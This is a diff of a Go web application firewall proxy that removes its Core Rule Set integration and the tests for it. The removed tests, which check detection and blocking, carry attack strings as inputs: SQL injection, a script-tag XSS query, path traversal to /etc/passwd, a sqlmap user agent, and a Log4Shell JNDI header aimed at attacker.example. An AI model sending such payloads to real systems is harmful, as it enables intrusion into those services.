// SWWAF_REQUEST_MAX_BYTES.
|
||||||
body io.ReadCloser
|
body io.ReadCloser
|
||||||
rq *request
|
rq *request
|
||||||
// readByCoreRuleSet is what the Core Rule Set read of the body before
|
|
||||||
// the request went to the app, and Read gives first.
|
|
||||||
readByCoreRuleSet []byte
|
|
||||||
// waiting is true while a Read waits for the client to send more.
|
// waiting is true while a Read waits for the client to send more.
|
||||||
waiting atomic.Bool
|
waiting atomic.Bool
|
||||||
// received is true once the client has sent the whole body.
|
// received is true once the client has sent the whole body.
|
||||||
@@ -32,16 +29,8 @@ type requestBody struct {
|
|||||||
bytes atomic.Int64
|
bytes atomic.Int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// Read reads from the client's body, after what the Core Rule Set read of
|
// Read reads from the client's body.
|
||||||
// it, which has been counted already.
|
|
||||||
func (b *requestBody) Read(p []byte) (int, error) {
|
func (b *requestBody) Read(p []byte) (int, error) {
|
||||||
if len(b.readByCoreRuleSet) > 0 {
|
|
||||||
n := copy(p, b.readByCoreRuleSet)
|
|
||||||
b.readByCoreRuleSet = b.readByCoreRuleSet[n:]
|
|
||||||
|
|
||||||
return n, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
b.waiting.Store(true)
|
b.waiting.Store(true)
|
||||||
n, err := b.body.Read(p)
|
n, err := b.body.Read(p)
|
||||||
b.waiting.Store(false)
|
b.waiting.Store(false)
|
||||||
|
|||||||
@@ -6,7 +6,6 @@ import (
|
|||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"reflect"
|
|
||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
@@ -282,6 +281,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
|
|||||||
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
|
func TestByteLimitsOffCountTheBytesAndBanNoOne(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
const off = "off"
|
||||||
|
|
||||||
s, _ := startWithAnswers(t, map[string]string{
|
s, _ := startWithAnswers(t, map[string]string{
|
||||||
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
|
bytesLimitPerMinute: off, bytesLimitPerHour: off, bytesLimitPerDay: off,
|
||||||
})
|
})
|
||||||
@@ -336,7 +337,7 @@ func TestBanForABrokenByteLimitHasItsNotesAndItsAlert(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
got := server.Ledger.Bans(netblock)
|
got := server.Ledger.Bans(netblock)
|
||||||
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
|
if len(got) != 1 || got[0] != want {
|
||||||
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -76,14 +76,16 @@ func scheme(r *http.Request, peerTrusted bool) string {
|
|||||||
return proto
|
return proto
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ipv6GroupPrefix is the length of the IPv6 netblock that is one client.
|
||||||
|
const ipv6GroupPrefix = 64
|
||||||
|
|
||||||
// clientGroup is the client a request is counted toward: its IPv4
|
// clientGroup is the client a request is counted toward: its IPv4
|
||||||
// address, or its IPv6 group, the netblock its IPv6 address is in of the
|
// address, or the /64 its IPv6 address is in, since one abuser usually
|
||||||
// length SWWAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
|
// holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
|
||||||
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
|
func clientGroup(addr netip.Addr) netip.Prefix {
|
||||||
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
|
|
||||||
addr = addr.Unmap()
|
addr = addr.Unmap()
|
||||||
if addr.Is6() {
|
if addr.Is6() {
|
||||||
return netip.PrefixFrom(addr, h.config.IPv6GroupPrefix).Masked()
|
return netip.PrefixFrom(addr, ipv6GroupPrefix).Masked()
|
||||||
}
|
}
|
||||||
|
|
||||||
return netip.PrefixFrom(addr, addr.BitLen())
|
return netip.PrefixFrom(addr, addr.BitLen())
|
||||||
|
|||||||
@@ -1,124 +0,0 @@
|
|||||||
package proxy
|
|
||||||
|
|
||||||
import (
|
|
||||||
"errors"
|
|
||||||
"net/http"
|
|
||||||
"os"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
|
||||||
)
|
|
||||||
|
|
||||||
// checkCoreRuleSet inspects the request with the Core Rule Set, unless
|
|
||||||
// SWWAF_WAF_MODE is off or SWWAF_WAF_EXEMPT_PATHS exempts its path, as
|
|
||||||
// pathExempt decides, and notes the rules it matched and its score in the
|
|
||||||
// log line, and the rules in the metrics. A score at or over
|
|
||||||
// SWWAF_WAF_ANOMALY_THRESHOLD is a match: it raises the waf_block alert,
|
|
||||||
// and in block mode refuses the request, which is an offence its client's
|
|
||||||
// history counts, and so returns ActionWAFBlocked. It returns "" for a
|
|
||||||
// request it does not refuse, and for one whose body meets a size or time
|
|
||||||
// limit while the Core Rule Set reads it, which it notes nothing of.
|
|
||||||
func (rq *request) checkCoreRuleSet() string {
|
|
||||||
cfg := rq.h.config
|
|
||||||
if cfg.WAFMode == config.WAFModeOff || pathExempt(rq.in.URL, cfg.WAFExemptPaths) {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
start := time.Now()
|
|
||||||
|
|
||||||
result := rq.inspect()
|
|
||||||
if rq.refused.Load() != nil {
|
|
||||||
return "" // the refusal for that limit, which check returns
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.line.DurationWAF = new(requestlog.Milliseconds(time.Since(start)))
|
|
||||||
rq.line.WAFRuleIDs = result.RuleIDs
|
|
||||||
rq.line.WAFScore = &result.Score
|
|
||||||
|
|
||||||
for _, id := range result.RuleIDs {
|
|
||||||
rq.h.metrics.WAFMatched(cfg.WAFMode, id)
|
|
||||||
}
|
|
||||||
|
|
||||||
threshold := cfg.WAFAnomalyThreshold
|
|
||||||
if threshold == 0 || result.Score < threshold {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.alertWAFBlock(result)
|
|
||||||
|
|
||||||
if cfg.WAFMode == config.WAFModeDetect {
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.wafBlocked = true
|
|
||||||
|
|
||||||
return requestlog.ActionWAFBlocked
|
|
||||||
}
|
|
||||||
|
|
||||||
// inspect runs the Core Rule Set on the request, which reads the part of
|
|
||||||
// its body it inspects within SWWAF_CLIENT_REQUEST_TIMEOUT, and keeps that
|
|
||||||
// part for the app. A client that runs out of time is refused with 408
|
|
||||||
// here, and a body over SWWAF_REQUEST_MAX_BYTES with 413 as it is read;
|
|
||||||
// check returns the refusal. A body that breaks off for any other reason
|
|
||||||
// is passed on as far as it came, and the request to the app fails there,
|
|
||||||
// as it would have without the Core Rule Set.
|
|
||||||
func (rq *request) inspect() waf.Result {
|
|
||||||
if rq.body == nil {
|
|
||||||
// Nothing is read of no body, so nothing can go wrong reading it.
|
|
||||||
result, _, _ := rq.h.coreRuleSet.Inspect(rq.in, rq.client, http.NoBody)
|
|
||||||
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
_ = rq.rc.SetReadDeadline(rq.clientRequestDeadline())
|
|
||||||
result, read, err := rq.h.coreRuleSet.Inspect(rq.in, rq.client, rq.body)
|
|
||||||
// The timeouts that run while the request goes to the app take over.
|
|
||||||
_ = rq.rc.SetReadDeadline(time.Time{})
|
|
||||||
|
|
||||||
rq.body.readByCoreRuleSet = read
|
|
||||||
|
|
||||||
if errors.Is(err, os.ErrDeadlineExceeded) {
|
|
||||||
rq.refuse(refusal{
|
|
||||||
status: http.StatusRequestTimeout,
|
|
||||||
action: requestlog.ActionTimedOut,
|
|
||||||
limit: "SWWAF_CLIENT_REQUEST_TIMEOUT",
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
return result
|
|
||||||
}
|
|
||||||
|
|
||||||
// alertWAFBlock raises the waf_block alert for the request, which the Core
|
|
||||||
// Rule Set scored at result, at or over SWWAF_WAF_ANOMALY_THRESHOLD. Its
|
|
||||||
// detail gives the rule ids, the score, the method and the path with the
|
|
||||||
// query, and, for a request that is not refused for it, the mode: detect,
|
|
||||||
// or observe in observe mode.
|
|
||||||
func (rq *request) alertWAFBlock(result waf.Result) {
|
|
||||||
detail := map[string]any{
|
|
||||||
"rule_ids": result.RuleIDs,
|
|
||||||
"score": result.Score,
|
|
||||||
"method": rq.in.Method,
|
|
||||||
"path": rq.in.URL.RequestURI(),
|
|
||||||
}
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case rq.h.config.WAFMode == config.WAFModeDetect:
|
|
||||||
detail["mode"] = config.WAFModeDetect
|
|
||||||
case rq.h.config.Observe:
|
|
||||||
detail["mode"] = "observe"
|
|
||||||
}
|
|
||||||
|
|
||||||
rq.h.alerts.Raise(alerts.Alert{
|
|
||||||
Event: alerts.EventWAFBlock,
|
|
||||||
Client: rq.client,
|
|
||||||
Netblock: rq.h.clientGroup(rq.client),
|
|
||||||
ASN: rq.line.ASN,
|
|
||||||
ASName: rq.line.ASName,
|
|
||||||
Country: rq.line.Country,
|
|
||||||
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
|
|
||||||
Detail: detail,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
@@ -1,590 +0,0 @@
|
|||||||
package proxy_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"io"
|
|
||||||
"net/http"
|
|
||||||
"net/netip"
|
|
||||||
"slices"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"testing"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
|
||||||
)
|
|
||||||
|
|
||||||
// The Core Rule Set's settings the tests set, besides SWWAF_WAF_MODE, and
|
|
||||||
// its two modes that inspect requests.
|
|
||||||
const (
|
|
||||||
wafAnomalyThreshold = "SWWAF_WAF_ANOMALY_THRESHOLD"
|
|
||||||
wafDisabledRules = "SWWAF_WAF_DISABLED_RULES"
|
|
||||||
wafExemptPaths = "SWWAF_WAF_EXEMPT_PATHS"
|
|
||||||
wafBodyLimit = "SWWAF_WAF_BODY_LIMIT"
|
|
||||||
block = "block"
|
|
||||||
detect = "detect"
|
|
||||||
)
|
|
||||||
|
|
||||||
// formData is the type of a form's body.
|
|
||||||
const formData = "application/x-www-form-urlencoded"
|
|
||||||
|
|
||||||
// sqlInjection asks for / with an SQL injection in its query, which only
|
|
||||||
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
|
|
||||||
// SWWAF_WAF_ANOMALY_THRESHOLD.
|
|
||||||
const sqlInjection = "/?id=1'%20OR%20'1'='1"
|
|
||||||
|
|
||||||
// wantWAF checks the request log line's waf_rule_ids and waf_score, and
|
|
||||||
// that it has duration_waf, or with no score, that it has none of the
|
|
||||||
// three: the Core Rule Set did not inspect the request.
|
|
||||||
func wantWAF(t *testing.T, line logLine, score *int, ruleIDs ...int) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
if !slices.Equal(line.WAFRuleIDs, ruleIDs) {
|
|
||||||
t.Errorf("log line has waf_rule_ids %v, want %v", line.WAFRuleIDs, ruleIDs)
|
|
||||||
}
|
|
||||||
|
|
||||||
switch {
|
|
||||||
case score == nil && (line.WAFScore != nil || line.DurationWAF != nil):
|
|
||||||
t.Errorf("log line has waf_score %v and duration_waf %v, want neither",
|
|
||||||
line.fields["waf_score"], line.fields["duration_waf"])
|
|
||||||
case score != nil && (line.WAFScore == nil || *line.WAFScore != *score):
|
|
||||||
t.Errorf("log line has waf_score %v, want %d", line.fields["waf_score"], *score)
|
|
||||||
case score != nil && line.DurationWAF == nil:
|
|
||||||
t.Error("log line has no duration_waf")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCoreRuleSetRefusesAttacksInBlockModeAndOnlyLogsThemInDetectMode(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, attack := range []struct {
|
|
||||||
name, path, header string
|
|
||||||
ruleIDs []int
|
|
||||||
score int
|
|
||||||
}{
|
|
||||||
{"SQL injection in the query", sqlInjection, "", []int{942100}, 5},
|
|
||||||
{
|
|
||||||
"script in the query", "/?q=%3Cscript%3Ealert(1)%3C%2Fscript%3E", "",
|
|
||||||
[]int{941100, 941110, 941160, 941390}, 20,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"path traversal in the path", "/files/../../etc/passwd", "",
|
|
||||||
[]int{930100, 930110}, 10,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"Log4Shell in a header", "/", "X-Api-Version: ${jndi:ldap://attacker.example/a}",
|
|
||||||
[]int{944150}, 5,
|
|
||||||
},
|
|
||||||
{"scanner's user agent", "/", "User-Agent: sqlmap/1.7", []int{913100}, 5},
|
|
||||||
{
|
|
||||||
// Coraza keeps the first 1000 query parameters.
|
|
||||||
"SQL injection after 1000 query parameters",
|
|
||||||
"/?" + strings.Repeat("a=1&", 1000) + "id=1'%20OR%20'1'='1", "",
|
|
||||||
[]int{900300}, 5,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(attack.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
mode, action string
|
|
||||||
status int
|
|
||||||
}{
|
|
||||||
{block, requestlog.ActionWAFBlocked, http.StatusForbidden},
|
|
||||||
{detect, requestlog.ActionForward, http.StatusOK},
|
|
||||||
} {
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: tc.mode})
|
|
||||||
|
|
||||||
line, _ := s.requestWithHeader(client, attack.path, attack.header,
|
|
||||||
tc.status, tc.action)
|
|
||||||
wantWAF(t, line, &attack.score, attack.ruleIDs...)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestOrdinaryRequestIsInspectedAndPassed(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
||||||
|
|
||||||
line := s.request(client, "/owner/repo/src/branch/main/README.md?display=source",
|
|
||||||
http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWAF(t, line, new(0))
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
|
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
|
||||||
wafMode: block,
|
|
||||||
wafExemptPaths: "/api/",
|
|
||||||
allowNets: allowed,
|
|
||||||
rulesDir: writeRules(t, testRules),
|
|
||||||
})
|
|
||||||
|
|
||||||
// A client in SWWAF_ALLOW_NETS, and a path SWWAF_WAF_EXEMPT_PATHS
|
|
||||||
// exempts, are not inspected.
|
|
||||||
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWAF(t, line, nil)
|
|
||||||
line = s.request(client, "/api/v1/repos?id=1'%20OR%20'1'='1", http.StatusOK,
|
|
||||||
requestlog.ActionForward)
|
|
||||||
wantWAF(t, line, nil)
|
|
||||||
|
|
||||||
// The prefix is matched as rate limit exempt paths are: a path that
|
|
||||||
// goes up and out of it is inspected.
|
|
||||||
line = s.request(client, "/api/../?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
|
||||||
requestlog.ActionWAFBlocked)
|
|
||||||
wantWAF(t, line, new(25), 930100, 930110, 942100)
|
|
||||||
|
|
||||||
// A request a rule file refuses is not inspected.
|
|
||||||
line = s.request(otherClient, "/blocked?id=1'%20OR%20'1'='1", http.StatusForbidden,
|
|
||||||
requestlog.ActionRuleBlocked)
|
|
||||||
wantWAF(t, line, nil)
|
|
||||||
|
|
||||||
// With SWWAF_WAF_MODE off, no request is.
|
|
||||||
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
|
|
||||||
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWAF(t, line, nil)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAnomalyThreshold(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// A score under the threshold, or with the threshold off, is logged,
|
|
||||||
// and refuses nothing.
|
|
||||||
for _, threshold := range []string{"6", off} {
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
|
||||||
wafMode: block, wafAnomalyThreshold: threshold,
|
|
||||||
})
|
|
||||||
|
|
||||||
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWAF(t, line, new(5), 942100)
|
|
||||||
}
|
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{
|
|
||||||
wafMode: block, wafAnomalyThreshold: "5",
|
|
||||||
})
|
|
||||||
s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, request := range []struct {
|
|
||||||
name, method, path, header string
|
|
||||||
// ruleIDs are the rules that match the request with none
|
|
||||||
// switched off.
|
|
||||||
ruleIDs []int
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"git push", http.MethodPost, "/owner/repo.git/git-receive-pack",
|
|
||||||
"Content-Type: application/x-git-receive-pack-request\r\nContent-Length: 4",
|
|
||||||
[]int{920420, 930130},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"package upload without a type", http.MethodPut,
|
|
||||||
"/api/packages/owner/generic/tool/1.0/tool.tar.gz", "Content-Length: 4",
|
|
||||||
[]int{920340},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a shell script", http.MethodGet, "/owner/repo/raw/branch/main/install.sh", "",
|
|
||||||
[]int{920440},
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"an editor's settings", http.MethodGet,
|
|
||||||
"/owner/repo/src/branch/main/.zed/settings.json", "", []int{930140},
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(request.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
body := ""
|
|
||||||
if request.method != http.MethodGet {
|
|
||||||
body = "push"
|
|
||||||
}
|
|
||||||
|
|
||||||
// By default, the rules are switched off.
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
||||||
line, _ := s.requestWithBody(request.method, client, request.path,
|
|
||||||
request.header, body, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWAF(t, line, new(0))
|
|
||||||
|
|
||||||
// A list given replaces the default.
|
|
||||||
s, _, _ = startWithClock(t, "", map[string]string{
|
|
||||||
wafMode: block, wafDisabledRules: "942100",
|
|
||||||
})
|
|
||||||
score := 5 * len(request.ruleIDs)
|
|
||||||
line, _ = s.requestWithBody(request.method, client, request.path,
|
|
||||||
request.header, body, http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
||||||
wantWAF(t, line, &score, request.ruleIDs...)
|
|
||||||
|
|
||||||
// And switches off the rules it lists.
|
|
||||||
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWAF(t, line, new(0))
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const body = "id=1'%20OR%20'1'='1"
|
|
||||||
|
|
||||||
header := "Content-Type: " + formData + "\r\nContent-Length: " +
|
|
||||||
strconv.Itoa(len(body))
|
|
||||||
|
|
||||||
s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
|
|
||||||
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
|
|
||||||
http.StatusOK, requestlog.ActionForward)
|
|
||||||
wantWAF(t, line, new(0))
|
|
||||||
|
|
||||||
s, _, _ = startWithClock(t, "", map[string]string{
|
|
||||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
||||||
})
|
|
||||||
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
|
|
||||||
http.StatusForbidden, requestlog.ActionWAFBlocked)
|
|
||||||
wantWAF(t, line, new(5), 942100)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// The app answers with the body it was sent, once it has the whole of
|
|
||||||
// it: Go's server reads no more of a body once the answer has begun.
|
|
||||||
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
|
|
||||||
body, _ := io.ReadAll(r.Body)
|
|
||||||
_, _ = w.Write(body)
|
|
||||||
})
|
|
||||||
addr, out := startProxy(t, app.URL, map[string]string{
|
|
||||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
||||||
})
|
|
||||||
longer := "a=" + strings.Repeat("b", 64*sizeLimit)
|
|
||||||
|
|
||||||
for i, tc := range []struct {
|
|
||||||
name, contentType, body string
|
|
||||||
// announced sends the body's length in Content-Length; otherwise
|
|
||||||
// the body is sent in chunks with no length given.
|
|
||||||
announced bool
|
|
||||||
}{
|
|
||||||
{"form data within the limit", formData, "a=b", true},
|
|
||||||
{"form data longer than the limit", formData, longer, true},
|
|
||||||
{"form data longer than the limit, not announced", formData, longer, false},
|
|
||||||
{
|
|
||||||
"JSON larger than the limit", "application/json",
|
|
||||||
`{"a":"` + strings.Repeat("b", 2*sizeLimit) + `"}`, true,
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a binary body", "application/octet-stream",
|
|
||||||
strings.Repeat("\x00\xff", sizeLimit), true,
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
// A reader whose length the client cannot tell is sent in chunks.
|
|
||||||
var body io.Reader = strings.NewReader(tc.body)
|
|
||||||
if !tc.announced {
|
|
||||||
body = io.MultiReader(body)
|
|
||||||
}
|
|
||||||
|
|
||||||
req := newRequest(t, http.MethodPost, addr, "/", body)
|
|
||||||
req.Header.Set("Content-Type", tc.contentType)
|
|
||||||
|
|
||||||
got := do(t, req)
|
|
||||||
if got.status != http.StatusOK || string(got.body) != tc.body {
|
|
||||||
t.Errorf("%s: the app got %d bytes, answered %d, want the %d sent, 200",
|
|
||||||
tc.name, len(got.body), got.status, len(tc.body))
|
|
||||||
}
|
|
||||||
|
|
||||||
line := out.requestLines(t, i+1)[i]
|
|
||||||
wantLine(t, line, http.StatusOK, requestlog.ActionForward)
|
|
||||||
|
|
||||||
if line.RequestBytes != int64(len(tc.body)) {
|
|
||||||
t.Errorf("%s: log line has request_bytes %d, want %d", tc.name,
|
|
||||||
line.RequestBytes, len(tc.body))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFormBodyLongerThanTheLimitStreamsOnToTheApp(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const (
|
|
||||||
first = "a=" // and twice the limit of b's, then the rest
|
|
||||||
rest = 64 * sizeLimit
|
|
||||||
)
|
|
||||||
|
|
||||||
// past is closed once the app has received twice what the Core Rule
|
|
||||||
// Set reads, and got is the length of the whole body it received.
|
|
||||||
past := make(chan struct{})
|
|
||||||
got := make(chan int64, 1)
|
|
||||||
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
|
|
||||||
n, _ := io.CopyN(io.Discard, r.Body, 2*sizeLimit)
|
|
||||||
|
|
||||||
close(past)
|
|
||||||
|
|
||||||
m, _ := io.Copy(io.Discard, r.Body)
|
|
||||||
got <- n + m
|
|
||||||
})
|
|
||||||
addr, out := startProxy(t, app.URL, map[string]string{
|
|
||||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
||||||
})
|
|
||||||
|
|
||||||
// The client sends the rest only once the app has received the first
|
|
||||||
// part: were smallwebwaf to hold the body until the end, it would
|
|
||||||
// never come.
|
|
||||||
body, sender := io.Pipe()
|
|
||||||
|
|
||||||
go func() {
|
|
||||||
_, _ = io.WriteString(sender, first+strings.Repeat("b", 2*sizeLimit))
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-past:
|
|
||||||
case <-time.After(waitLimit):
|
|
||||||
t.Error("the app got no more than the Core Rule Set reads " +
|
|
||||||
"before the whole body was sent")
|
|
||||||
|
|
||||||
_ = sender.CloseWithError(io.ErrUnexpectedEOF)
|
|
||||||
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
_, _ = io.WriteString(sender, strings.Repeat("b", rest))
|
|
||||||
_ = sender.Close()
|
|
||||||
}()
|
|
||||||
|
|
||||||
req := newRequest(t, http.MethodPost, addr, "/", body)
|
|
||||||
req.Header.Set("Content-Type", formData)
|
|
||||||
wantStatus(t, do(t, req), http.StatusOK)
|
|
||||||
|
|
||||||
want := int64(len(first) + 2*sizeLimit + rest)
|
|
||||||
if n := <-got; n != want {
|
|
||||||
t.Errorf("the app got %d bytes, want %d", n, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestClientTooSlowToSendWhatTheCoreRuleSetReads(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
|
||||||
addr, out := startProxy(t, app.URL, map[string]string{
|
|
||||||
wafMode: block, wafBodyLimit: sizeLimitSetting,
|
|
||||||
clientRequestTimeout: shortTimeoutSetting, metricsToken: token,
|
|
||||||
})
|
|
||||||
|
|
||||||
conn := dial(t, addr)
|
|
||||||
send(t, conn, "POST /comment HTTP/1.1\r\nHost: app\r\nContent-Type: "+formData+
|
|
||||||
"\r\nContent-Length: 100\r\n\r\ncontent=the first bytes")
|
|
||||||
|
|
||||||
wantStatus(t, readResponse(t, conn), http.StatusRequestTimeout)
|
|
||||||
|
|
||||||
line := out.requestLine(t)
|
|
||||||
wantLine(t, line, http.StatusRequestTimeout, requestlog.ActionTimedOut)
|
|
||||||
wantNotSentToTheApp(t, line)
|
|
||||||
wantLimitHits(t, addr, clientRequestTimeout, 1)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBodyOverTheSizeLimitWhileTheCoreRuleSetReadsIt(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
|
|
||||||
addr, out := startProxy(t, app.URL, map[string]string{
|
|
||||||
wafMode: block, wafBodyLimit: "4K",
|
|
||||||
requestMaxBytes: sizeLimitSetting, metricsToken: token,
|
|
||||||
})
|
|
||||||
|
|
||||||
// Sent in chunks, its length is not announced, and is found to be over
|
|
||||||
// the limit as the Core Rule Set reads it.
|
|
||||||
body := io.MultiReader(strings.NewReader("a=" + strings.Repeat("b", 2*sizeLimit)))
|
|
||||||
req := newRequest(t, http.MethodPost, addr, "/", body)
|
|
||||||
req.Header.Set("Content-Type", formData)
|
|
||||||
wantStatus(t, do(t, req), http.StatusRequestEntityTooLarge)
|
|
||||||
|
|
||||||
line := out.requestLine(t)
|
|
||||||
wantLine(t, line, http.StatusRequestEntityTooLarge, requestlog.ActionTooLarge)
|
|
||||||
wantNotSentToTheApp(t, line)
|
|
||||||
wantLimitHits(t, addr, requestMaxBytes, 1)
|
|
||||||
}
|
|
||||||
|
|
||||||
// wantNotSentToTheApp checks that the request of line was not sent to the
|
|
||||||
// app at all.
|
|
||||||
func wantNotSentToTheApp(t *testing.T, line logLine) {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
_, sent := line.fields["duration_upstream_total"]
|
|
||||||
if sent {
|
|
||||||
t.Error("log line has duration_upstream_total, for a request sent to the app")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestResponsesAreNotInspected(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
// A raw shell script, and an SQL error, which the Core Rule Set's rules
|
|
||||||
// for responses take for a leak.
|
|
||||||
const page = "#!/bin/sh\nrm -rf /tmp/build\n" +
|
|
||||||
"You have an error in your SQL syntax; check the manual that " +
|
|
||||||
"corresponds to your MySQL server version\n"
|
|
||||||
|
|
||||||
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
|
|
||||||
_, _ = w.Write([]byte(page))
|
|
||||||
})
|
|
||||||
addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
|
|
||||||
|
|
||||||
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
|
|
||||||
if got.status != http.StatusOK || string(got.body) != page {
|
|
||||||
t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
|
|
||||||
}
|
|
||||||
|
|
||||||
